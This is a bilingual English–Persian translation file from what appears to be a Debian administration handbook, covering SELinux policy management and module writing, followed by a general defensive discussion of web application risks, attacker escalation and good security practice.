fa-IR: <command>semodule</command> بلافاصله پیکربندی جدید را بارگیری می‌کند مگر اینکه از گزینه <literal>-n</literal> استفاده کنید. شایان ذکر است که برنامه به صورت پیشفرض با پیکربندی فعلی کار می‌کند (که توسط متغیر <literal>SELINUXTYPE</literal> در <filename>/etc/selinux/config</filename> مشخص شده است)، اما می‌توانید آن را با استفاده از گزینه <literal>-s</literal> تغییر دهید.

en: Managing Identities
fa-IR: مدیریت شناسه‌ها

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
fa-IR: هر مرتبه که کاربر وارد سیستم می‌شود، یک شناسه SELinux به وی اختصاص می‌یابد. این شناسه مشخص می‌کند کاربر از چه نقش‌هایی می‌تواند استفاده کند. این دو نگاشت (از کاربر به شناسه و از شناسه به نقش‌ها) توسط دستور <command>semanage</command> قابل پیکربندی هستند.

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
fa-IR: <command>semanage login -l</command> نگاشت فعلی بین شناسه‌های کاربر و هویت‌های SELinux را فهرست می‌کند. کاربرانی که هیچ مدخل واضحی ندارند از شناسه موجود در مدخل <literal>__default__</literal> استفاده می‌کنند. دستور <command>semanage login -a -s user_u <replaceable>user</replaceable></command> شناسه <emphasis>user_u</emphasis> را به کاربر مورد نظر اختصاص می‌دهد. در نهایت، <command>semanage login -d <replaceable>user</replaceable></command> نگاشت موجود برای کاربر را از بین می‌برد.

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
fa-IR: <command>semanage user -l</command> نگاشت فعلی بین شناسه‌های کاربری SELinux و نقش‌های مجاز را فهرست می‌کند. افزودن یک شناسه جدید مستلزم تعریف نقش‌های مرتبط با آن همراه با پیشوند برچسب‌گذاری برای اختصاص نوع به فایل‌های شخصی کاربر می‌باشد (<filename>/home/<replaceable>user</replaceable>/*</filename>). پیشوند باید از میان <literal>user</literal>، <literal>staff</literal> یا <literal>sysadm</literal> انتخاب شود. پیشوند “<literal>staff</literal>” روی فایل‌هایی از نوع “<literal>staff_home_dir_t</literal>” تاثیر می‌گذارد. ایجاد یک شناسه کاربری جدید SELinux توسط <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command> انجام می‌شود. در نهایت، با استفاده از <command>semanage user -d <replaceable>identity</replaceable></command> می‌توانید یک شناسه کاربری SELinux را حذف کنید.

en: Managing File Contexts, Ports and Booleans
fa-IR: مدیریت زمینه‌های فایل، درگاه‌ها و شرایط منطقی

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
fa-IR: هر ماژول SELinux مجموعه‌ای از قوانین برچسب‌گذاری را تعریف می‌کند، اما امکان تعریف قوانین سفارشی برای برچسب‌گذاری نیز وجود دارد. برای نمونه، اگر می‌خواهید که سرور وب قادر باشد فایل‌های درون دایرکتوری <filename>/srv/www/</filename> را بخواند، می‌توانید دستور <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> را همراه با <command>restorecon -R /srv/www/</command> اجرا کنید. دستور اول قوانین جدید برچسب‌گذاری را ثبت و دستور دوم انواع فایل را متناسب با قوانین جدید برچسب‌گذاری می‌کند.

en: Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>.
fa-IR: به طور مشابه، درگاه‌های TCP/UDP به شیوه‌ای برچسب‌گذاری می‌شوند که تنها فرآیندهای پس‌زمینه متناسب بتوانند به آن‌ها گوش دهند. برای نمونه، اگر می‌خواهید سرور وب به درگاه ۸۰۸۰ گوش دهد، باید <command>semanage port -m -t http_port_t -p tcp 8080</command> را اجرا کنید.

en: Adapting the Rules
fa-IR: انطباق قوانین

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
fa-IR: از آنجا که خط مشی SELinux ماژولار بوده، توسعه ماژول‌های جدید برای برنامه‌هایی که به آن نیاز دارند (به صورت سفارشی) کار جالبی است. این ماژول‌های جدید <emphasis>خط مشی مرجع</emphasis> را کامل می‌کنند.

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
fa-IR: برای ایجاد ماژول‌های جدید، بسته‌های <emphasis role="pkg">selinux-policy-dev</emphasis> و <emphasis role="pkg">selinux-policy-doc</emphasis> مورد نیاز هستند. بسته دوم شامل مستندات قوانین استاندارد (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) و فایل‌های نمونه است که می‌توانند به عنوان قالب برای ایجاد ماژول‌های جدید بکار روند. این فایل‌ها را نصب کرده و به دقت مطالعه نمایید:

en: The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
fa-IR: فایل <filename>.te</filename> مهم‌ترین آن‌ها است که قوانین را تعریف می‌کند. فایل <filename>.fc</filename> “زمینه‌های فایل” را تعریف می‌کند، که همان نوع اختصاص یافته به فایل‌های مرتبط با این ماژول است. از داده موجود درون فایل <filename>.fc</filename> در گام برچسب‌گذاری استفاده می‌شود. در نهایت، فایل <filename>.if</filename> رابط مرتبط با ماژول را تعریف می‌کند: یک مجموعه از “توابع عمومی” است که سایر ماژول‌ها می‌توانند به منظور تعامل بهتر با این ماژول از آن‌ها استفاده کنند.

en: Writing a <filename>.fc</filename> file
fa-IR: نوشتن یک فایل <filename>.fc</filename>

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
fa-IR: خواندن مثال زیر برای درک اولیه از محتوای فایل مذکور کافی است. می‌توانید با استفاده از عبارت‌های منظم یک زمینه امنیتی یکسان را برای چندین فایل یا حتی یک دایرکتوری کامل در نظر بگیرید.

en: <filename>example.fc</filename> file
fa-IR: فایل <filename>example.fc</filename>

en: Writing a <filename>.if</filename> File
fa-IR: نوشتن یک فایل <filename>.if</filename>

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
fa-IR: در مثال زیر، اولین رابط (“<literal>myapp_domtrans</literal>”) کنترل می‌کند چه کسی می‌تواند برنامه را اجرا کند. رابط دوم (“<literal>myapp_read_log</literal>”) اجازه خواندن و نوشتن روی فایل‌های گزارش برنامه را می‌دهد.

en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
fa-IR: هر رابط باید مجموعه‌ای معتبر از قوانین را که درون فایل <filename>.te</filename> قرار می‌گیرند تعریف کند. بنابراین باید تمام انواع مورد استفاده خود را تعریف کنید (با استفاده از ماکرو <literal>gen_require</literal>) و از عبارت‌های استاندارد به منظور تخصیص دسترسی بهره ببرید. با این حال، به یاد داشته باشید که می‌توانید از رابط‌های سایر ماژول‌ها نیز استفاده کنید. قسمت بعد توضیحات بیشتری در مورد چگونگی تخصیص این دسترسی‌ها ارائه می‌دهد.

en: <filename>example.if</filename> File
fa-IR: فایل <filename>example.if</filename>

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
fa-IR: <emphasis>مستندات</emphasis> توضیحات درباره <emphasis>خط مشی مرجع</emphasis>

en: Writing a <filename>.te</filename> File
fa-IR: نوشتن یک فایل <filename>.te</filename>

en: Have a look at the <filename>example.te</filename> file:
fa-IR: نگاهی به فایل <filename>example.te</filename> بیندازید:

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
fa-IR: <emphasis>مطالعه بیشتر</emphasis> زبان ماکرو <command>m4</command>

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
fa-IR: برای ساختاردهی مناسب خط مشی، توسعه‌دهندگان SELinux از یک پردازشگر دستور-ماکرو استفاده کرده‌اند. بجای رونوشت‌گیری از عبارت‌های مشابه <emphasis>allow</emphasis>، آن‌ها “توابع ماکرو” را ایجاد کرده‌اند که از یک منطق سطح بالاتر استفاده می‌کند، که این عمل به خوانایی بیشتر خط مشی می‌انجامد.

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
fa-IR: در عمل، از <command>m4</command> برای کامپایل کردن این قوانین استفاده می‌شود. این ابزار عملیات را به صورت برعکس انجام می‌دهد: یعنی با بازکردن تمام آن عبارت‌های سطح-بالا به صورت یک پایگاه‌داده بزرگ از عبارت‌های <emphasis>allow</emphasis> عمل می‌کند.

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
fa-IR: “رابط‌های” موجود در SELinux فقط توابع ماکرو هستند که در زمان کامپایل با یک سری از قوانین جایگزین می‌گردند. به صورت مشابه، برخی دسترسی‌ها در حقیقت مجموعه‌ای از دسترسی‌ها هستند که در زمان کامپایل با مقادیر خود جایگزین می‌شوند.

en: The module must be identified by its name and version number. This directive is required.
fa-IR: ماژول باید توسط نام و شماره نسخه‌اش معرفی شود. این عبارت مورد نیاز است.

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
fa-IR: اگر ماژول انواع جدیدی را معرفی کند، باید به شکل عبارت مشابه بالا باشد. از ایجاد انواع مورد نیاز خود دریغ نکنید بجای اینکه تعداد زیادی دسترسی بی‌معنا صادر کنید.

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
fa-IR: این رابط‌ها نوع <literal>myapp_t</literal> را به عنوان یک دامنه فرآیند تعریف می‌کنند که باید برای هر برنامه اجرایی برچسب‌گذاری شده با <literal>myapp_exec_t</literal> بکار روند. به طور ضمنی، اینکار یک صفت <literal>exec_type</literal> روی آن اشیا اضافه می‌کند، که در عوض به سایر ماژول‌ها اجازه می‌دهد برای اجرای برنامه‌ها دسترسی‌های لازم را صادر کنند: برای نمونه، ماژول <literal>userdomain</literal> به فرآیندهای موجود در دامنه‌های <literal>user_t</literal>، <literal>staff_t</literal> و <literal>sysadm_t</literal> اجازه اجرا می‌دهد. دامنه‌های سایر برنامه‌های محدود شده اجازه دسترسی برای اجرا را ندارند، مگر اینکه قوانین همان دسترسی‌ها را برایشان تعریف کنند (برای نمونه، در مورد <command>dpkg</command> همراه با دامنه <literal>dpkg_t</literal> آن).

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
fa-IR: <literal>allow</literal> عبارت پایه‌ای است که برای احرازهویت یک عملیات استفاده می‌شود. پارامتر اول آن دامنه فرآیندی است که امکان اجرای عملیات را دارد. پارامتر دوم به تعریف یک شی می‌پردازد که فرآیند دامنه قبلی می‌تواند آن را تغییر دهد. این پارامتر به شکل “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ است که در آن <replaceable>type</replaceable> نوع SELinux است و <replaceable>class</replaceable> طبیعت آن شی را تعریف می‌کند (فایل، دایرکتوری، سوکت و از این قبیل). در نهایت، پارامتر آخر به تعریف مجوزها می‌پردازد (همان عملیات مجاز).

en: Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them.
fa-IR: مجوزها مجموعه‌ای از عملیات مجاز هستند که از قالب رو‌به‌رو تبعیت می‌کنند: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. اگرچه، می‌توانید از ماکروها برای نمایش کاربردی‌ترین مجوزها نیز استفاده کنید. فایل <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> فهرستی از آن‌ها را شامل می‌شود.

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
fa-IR: اکنون باید حداقل مجموعه قوانین مورد نیاز برای اجرای صحیح برنامه یا سرویس هدف را پیدا کنید. برای دستیابی به این منظور، باید دانش خوبی از چگونگی کارکرد برنامه و انواع داده‌های مدیریتی/تولیدی آن را داشته باشید.

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
fa-IR: اگرچه، رویکرد تجربی نیز ممکن است. زمانی که اشیای مربوطه برچسب‌گذاری شده‌اند، می‌توانید از برنامه در حالت permissive استفاده کنید: عملیاتی که ممنوع باشند ثبت گزارش شده ولی هنوز اجرا می‌شوند. با بررسی و تحلیل این گزارش‌ها می‌توانید عملیات مجاز را تشخیص دهید. در اینجا نمونه‌ای از چنین فایل گزارشی آورده شده است:

en: To better understand this message, let us study it piece by piece.
fa-IR: برای درک بهتر این پیام بیایید آن را قطعه به قطعه مطالعه کنیم.

en: Analysis of an SELinux trace
fa-IR: بررسی و تحلیل گزارش SELinux

en: Message
fa-IR: پیام

en: Description
fa-IR: توضیحات

en: An operation has been denied.
fa-IR: عملیات غیرمجاز است.

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
fa-IR: این عملیات نیازمند مجوزهای <literal>read</literal> و <literal>write</literal> است.

en: The process with PID 1876 executed the operation (or tried to execute it).
fa-IR: فرآیندی با شناسه ۱۸۷۶ اقدام به اجرای عملیات کرده است.

en: The process was an instance of the <literal>syslogd</literal> program.
fa-IR: فرآیند یک نمونه از برنامه <literal>syslogd</literal> بوده است.

en: The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead.
fa-IR: شی هدف <literal>xconsole</literal> نام دارد. بعضی وقت‌ها می‌توانید یک متغیر “path” داشته باشید - همراه با مسیر کامل-.

en: The object is identified by the inode number 5510.
fa-IR: شی با inode ۵۵۱۰ شناسایی شده است.

en: This is the security context of the process who executed the operation.
fa-IR: این همان زمینه امنیتی فرآیندی است که عملیات را اجرا کرده است.

en: This is the security context of the target object.
fa-IR: این همان زمینه امنیتی شی هدف می‌باشد.

en: The target object is a FIFO file.
fa-IR: شی هدف یک فایل FIFO است.

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
fa-IR: <emphasis>تکمیلی</emphasis> عدم وجود نقش‌ها در قوانین خط مشی

en: It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights.
fa-IR: ممکن است عجیب بنظر آید که در زمان ایجاد قوانین، هیچ نقشی در آن‌ها وجود ندارد. SELinux تنها از دامنه‌ها به منظور یافتن عملیات مجاز استفاده می‌کند. نقش تنها به صورت غیرمستقیم در تعویض کاربر به یک دامنه دیگر دخالت دارد. SELinux مبتنی بر نظریه‌ای بنام <emphasis>Type Enforcement</emphasis> است که نوع تنها عنصری است که برای صدور دسترسی‌ها استفاده می‌شود.

en: Compiling the Files
fa-IR: کامپایل‌کردن فایل‌ها

en: Other Security-Related Considerations
fa-IR: سایر ملاحظات مرتبط با امنیت

en: Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
fa-IR: امنیت تنها یک مشکل فنی نیست؛ بیش از هر چیر، درباره رویکردهای خوب و درک از خطر است. این قسمت به بررسی برخی از خطرات متداول، همراه با برخی رویکردهای خوب، که بر اساس موضوع مورد مطالعه، امنیت را افزایش داده یا احتمال بروز حمله احتمالی را کاهش می‌دهند.

en: Inherent Risks of Web Applications
fa-IR: خطرات ذاتی در برنامه‌های تحت وب

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
fa-IR: ویژگی اصلی برنامه‌های تحت وب منجر به تکثیر آن‌ها می‌شود. برخی از آن‌ها اغلب به صورت موازی اجرا می‌شوند: ایمیل تحت وب، ویکی، برخی نرم‌افزارهای گروهی، انجمن‌ها، نگارخانه‌ای از تصاویر، وبلاگ و از این قبیل. بسیاری از این برنامه‌ها مبتنی بر پشته “LAMP” یا <emphasis>Linux, Apache, MySQL, PHP</emphasis> هستند. متاسفانه، بسیاری از این برنامه‌ها بدون در نظر گرفتن اصول امنیتی نوشته شده‌اند. داده‌ای که از خارج برنامه وارد می‌شود، اغلب بدون کوچکترین بررسی ذخیره‌سازی می‌گردد. فراهم کردن مقادیر ویژه می‌تواند به منظور خراب کردن برخی دستورات قابل اجرا بکار رود. بسیاری از مشکلات مشخص در گذر زمان برطرف شده‌اند، اما مشکلات جدید امنیتی به صورت روزانه بوجود می‌آیند.

en: <emphasis>VOCABULARY</emphasis> SQL injection
fa-IR: <emphasis>واژگان</emphasis> SQL injection

en: Knowing What To Expect
fa-IR: انتظار چه چیزی را داشته باشیم

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
fa-IR: یک آسیب‌پذیری در برنامه تحت وب اغلب به عنوان نقطه آغازی برای تلاش‌های خرابکارانه استفاده می‌شود. آنچه در ادامه می‌آید خلاصه‌ای از عواقب احتمالی آن است.

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
fa-IR: <emphasis>نگاه سریع</emphasis> فیلترکردن پرس و جوهای HTTP

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
fa-IR: انجام این بررسی‌ها می‌تواند کار زمان‌بر و خسته کننده‌ای باشد، اما می‌تواند در زمان توسعه برنامه تحت وب در صورتی که امنیت مد نظر قرار گیرد بکار رود.

en: <emphasis>mod-security2</emphasis> (in the <emphasis role="pkg">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role="pkg">modsecurity-crs</emphasis> package) that you can easily enable.
fa-IR: <emphasis>mod-security2</emphasis> (در بسته <emphasis role="pkg">libapache2-mod-security2</emphasis>) نمونه اصلی چنین ماژولی است. حتی شامل برخی قواعد از پیش موجود خود می‌باشد (در بسته <emphasis role="pkg">modsecurity-crs</emphasis>) که براحتی می‌توانید فعال‌سازی کنید.

en: A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
fa-IR: یک مهاجم حرفه‌ای تر فراتر از این می‌رود. یک سناریو بحران می‌تواند در چنین موردی بکار رود: مهاجم توانایی اجرای دستورات به عنوان کاربر <literal>www-data</literal> را بدست می‌آورد، اما اجرای یک دستور نیازمند بسیاری تغییرات دیگر است. برای اینکه کار خود را راحت کنند، اقدام به نصب برنامه‌‌های تحت وب دیگری می‌نمایند تا چنین دستوراتی را از راه‌دور اجرا کنند، از جمله مرور فایل سیستم، بررسی مجوزها، آپلود یا دانلود فایل‌ها، اجرای دستورات و حتی فراهم آوردن یک پوسته در شبکه. اغلب، آسیب‌پذیری امکان اجرای دستور <command>wget</command> را برای دانلود برخی بدافزارها درون مسیر <filename>/tmp/</filename> فراهم می‌کند که پس از آن اجرا می‌شوند. بدافزار اغلب از یک وبسایت خارجی دانلود شده که قبل از این مورد نفوذ قرار گرفته است، به این منظور که رد پای مهاجم را پوشانده و یافتن نقطه شروع حمله را دشوار سازد.

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
fa-IR: در این نقطه، مهاجم به اندازه‌ای آزادی دارد که می‌تواند یک <emphasis>bot</emphasis> از نوع IRC را نصب کند (یک ربات که به یک سرور IRC متصل شده و از طریق آن کنترل می‌شود). از این ربات اغلب برای اشتراک‌گذاری فایل‌های غیرقانونی استفاده می‌شد (نسخه‌های غیرمجاز از فیلم، نرم‌افزار و از این قبیل). یک مهاجم قاطع شاید بخواهد بیشتر از این پیشروی کند. حساب کاربری <literal>www-data</literal> امکان دسترسی کامل را به کل ماشین فراهم نمی‌کند، از این رو مهاجم تلاش می‌کند دسترسی سطح بالاتری را در اختیار بگیرد. اکنون، اینکار نباید ممکن باشد، اما اگر برنامه تحت وب بروز نباشد، احتمال اینکه کرنل و سایر برنامه‌ها نیز قدیمی باشند وجود دارد؛ اینکار اغلب از تصمیم مدیر سیستم می‌آید، که با وجود آگاهی از آسیب‌پذیری، از بروزرسانی سیستم خودداری می‌کنند با این بهانه که هیچ کاربر محلی برای آن وجود ندارد. از این رو مهاجم با توجه به این آسیب‌پذیری دوم می‌تواند دسترسی کامل به سیستم را اخذ نماید.

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
fa-IR: <emphasis>واژگان</emphasis> Privilege Escalation

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
fa-IR: این عبارت شامل مواردی است که از طریق آن می‌توان مجوزهای بیشتر از آنچه مورد نیاز است را بدست آورد. برنامه <command>sudo</command> طوری طراحی شده است که برخی دسترسی‌های مدیریتی به صورت موقت به کاربران داده شود. اما از این عبارت برای تلاش یک نفوذگر در سواستفاده از یک آسیب‌پذیری برای دسترسی بیشتر به مجوزها استفاده می‌شود.

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
fa-IR: این یک سناریوی کابوس‌بار است که می‌تواند با برخی اقدامات پیشگیری شود. قسمت‌های بعدی برخی از این اقدامات را توضیح می‌دهند.

en: Choosing the Software Wisely
fa-IR: انتخاب آگاهانه نرم‌افزار

en: <emphasis>VOCABULARY</emphasis> Security audit
fa-IR: <emphasis>واژگان</emphasis> بازرسی امنیتی

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
fa-IR: یک بازرسی امنیتی فرآیندی است که در آن به دقت سورس کد یک برنامه به منظور آسیب‌پذیری‌های امنیتی مورد بررسی و تحلیل قرار می‌گیرد. چنین بازرسی‌هایی معمولا به صورت فعال و به منظور اطمینان حاصل کردن از پیشنیازهای امنیتی یک برنامه انجام می‌شوند.

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
fa-IR: <emphasis>واژگان</emphasis> Zero-Day Exploit

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
fa-IR: پیشگیری از یک حمله <emphasis>zero-day exploit</emphasis> بسیار دشوار است؛ از این عبارت برای اشاره به آسیب‌پذیری استفاده می‌شود که هم اکنون برای توسعه‌‌دهندگان اصلی برنامه شناخته شده نیست.

en: Managing a Machine as a Whole
fa-IR: مدیریت یک ماشین به صورت کلی

en: Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
fa-IR: اکثر توزیع‌های لینوکس به صورت پیشفرض چندین سرویس یونیکس و ابزارهای مرتبط با آن را نصب می‌کنند. در بسیاری از موارد، این سرویس‌ها و ابزارها با هدف اولیه مدیر سیستم از برپایی ماشین همخوانی ندارند. به عنوان یک توصیه عمومی در بحث امنیت، بهتر است که نرم‌افزارهای اضافی را حذف کرد. در حقیقت، در صورت وجود آسیب‌پذیری در یک سرویس غیرکاربری دیگر که می‌تواند به منظور دسترسی به کل سیستم استفاده شود، دلیلی برای ایمن‌سازی سرور FTP وجود ندارد.

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
fa-IR: به همین دلیل، فایروال اغب طوری پیکربندی می‌شود که تنها به سرویس‌های عمومی اجازه ارسال ترافیک داده شود.

en: Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
fa-IR: رایانه‌های امروزی به اندازه‌ای قدرتمند هستند که اجازه میزبانی از چندین سرویس روی یک ماشین فیزیکی را فراهم می‌کنند. از نقطه نظر اقتصادی نیز چنین امکانی جالب است: تنها یک رایانه برای مدیریت، مصرف پایین انرژی و از این قبیل. از نقطه نظر امنیتی، اگرچه چنین انتخابی می‌تواند مشکل آفرین باشد. یک سرویس نفوذپذیر می‌تواند امنیت کل ماشین را به خطر اندازد، که منجر به نفوذپذیری سایر سرویس‌های میزبانی شده روی ماشین می‌گردد. این خطر می‌تواند با ایزوله‌کردن سرویس‌ها کاهش یابد. اینکار می‌تواند با استفاده از مجازی‌سازی (میزبانی از هر سرویس درون یک ماشین مجازی یا نگهدارنده) یا ترکیب AppArmor/SELinux (هر فرآیند پس‌زمینه از سرویس به صورت مجموعه‌ای جداگانه از مجوزها) انجام شود.

en: Users Are Players
fa-IR: کاربران به عنوان بازیکنان اصلی

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
fa-IR: بحث و گفتگو درباره امنیت این ایده را متصور می‌شود که باید در مقابل خرابکاران ناشناس که در اینترنت پراکنده شده‌اند، محافظت بعمل آورد؛ اما حقیقتی که کمتر به آن توجه می‌شود خطراتی است که از داخل مجموعه نشات می‌گیرند: یک کارمند که در آستانه خروج از شرکت قرار دارد می‌تواند با دانلود پروژه‌های حساس آن‌ها را به رقیبان شرکت بفروشد، یک مدیر فروش بی‌توجه می‌تواند میزکار خود را در یک جلسه با افراد خارج از شرکت باز نگه دارد، یک کاربر دست و پا چلفتی می‌تواند به اشتباه یک دایرکتوری از فایل‌ها را پاک کند و مواردی از این قبیل.

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
